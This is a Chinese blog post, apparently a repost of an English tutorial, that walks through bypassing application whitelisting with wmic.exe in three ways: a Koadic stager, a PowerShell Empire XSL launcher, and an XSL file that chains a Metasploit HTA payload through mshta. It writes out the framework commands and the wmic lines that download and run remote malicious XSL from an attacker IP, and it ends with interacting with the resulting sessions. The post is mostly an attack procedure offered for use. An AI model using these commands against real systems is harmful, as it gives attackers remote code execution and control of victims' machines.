使用wmic.exe绕过应用程序白名单(多种方法)
一、Wmic.exe
wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置、停止进程和本地或远程运行脚本。因此,它可以调用XSL脚本来执行。
二、攻击方法
1.第一种方法:Koadic
我们将在Koadic的帮助下生成一个恶意的XSL文件,它是一个命令和控制工具,与Metasploit和PowerShell empire非常相似。
要了解Koadic的工作原理,请阅读我们的文章:https://www.hackingarticles.in/koadic-com-command-control-framework/
安装完成后,您可以运行./koadic文件来启动koadic,并通过运行以下命令开始加载stager/js/wmic,并设置SRVHOST。
use stager/js/wmic set SRVHOST 192.168.1.107 run
执行WMIC以下命令从远程服务器下载并运行恶意XSL文件:
wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"
一旦恶意XSL文件在目标机器上执行,您就会像Metasploit一样拥有Zombie连接。
2.第二种方法:PowerShell Empire
对于我们的下一个wmic 攻击方法,我们将使用empire。empire是一款后开发框架。到目前为止,我们已经将XSL标记与metasploit匹配,但在这种方法中,我们将使用Empire框架。它只是基于python的PowerShell windows代理,这使得它非常有用。Empire由@ harmj0y,@ sixdub,@ enigma0x3,rvrsh3ll,@ killswitch_gui和@xorrior开发。您可以从https://github.com/empireproject/empire 下载此框架 。
要获得empire的基本指南,请访问我们的文章介绍,如下地址:
https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
启动Empire框架后,输入listener以检查是否有任何活动的侦听器。如下图所示,没有活动的侦听器。因此,需要设置一个监听器,请输入以下命令:
listeners uselistner http set Host http://192.168.1.107 execute
使用上述命令,您将拥有一个活动的侦听器。输入back以退出侦听器,以便您可以启动PowerShell。
对于wmic攻击,我们将使用stager。empire中的stager是一段代码段,它允许我们的恶意代码通过被感染主机上的代理运行。因此,对于这种类型,请输入以下命令:
usestager windows/launcher_xsl set Listener http execute
usestager将创建一个恶意代码文件,该文件将保存在名为launcher.xsl的/tmp中
我们使用python HTTP服务器在受害者的主机内传输此文件
一旦文件被执行,我们将在侦听器上获得结果。通过输入以下命令在受害者的主机中运行该文件:
wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"
要查看是否有会话信息,请输入“agents”。这样将向您显示您拥有的会话的名称。要访问该会话请输入以下命令:
interact Z639YHPA
sysinfo
3.第三种方法:XSL代码中链接hta
我们知道,wmic可以远程执行任何文件或脚本,因此我们将在XSL代码中链接一个hta文件。XSL文件将包含一个链接,用于通过mshta.exe下载并执行恶意hta文件,该文件由wmic触发。
因此,让我们在Metasploit的帮助下生成一个hta文件:
use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit
现在复制URL并放在XSL代码中,因为它能够执行Microsoft语言脚本
然后,我们创建了一个“payload.xsl”文件,您可以从此链接获取帮助以编写XSL代码,然后放置hta文件的链接,如下所示。
现在我们需要借助以下命令通过wmic.exe来执行XSL文件:
wmic os get /FORMAT:"http://192.168.1.109/payload.xsl"
执行上述命令后,您将获得一个meterprter会话。要访问会话,请输入以下命令:
sessions 1
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
2018-03-07 SMBv3空指针引用dos漏洞复现
2018-03-07 Flash 0day CVE-2018-4878 漏洞复现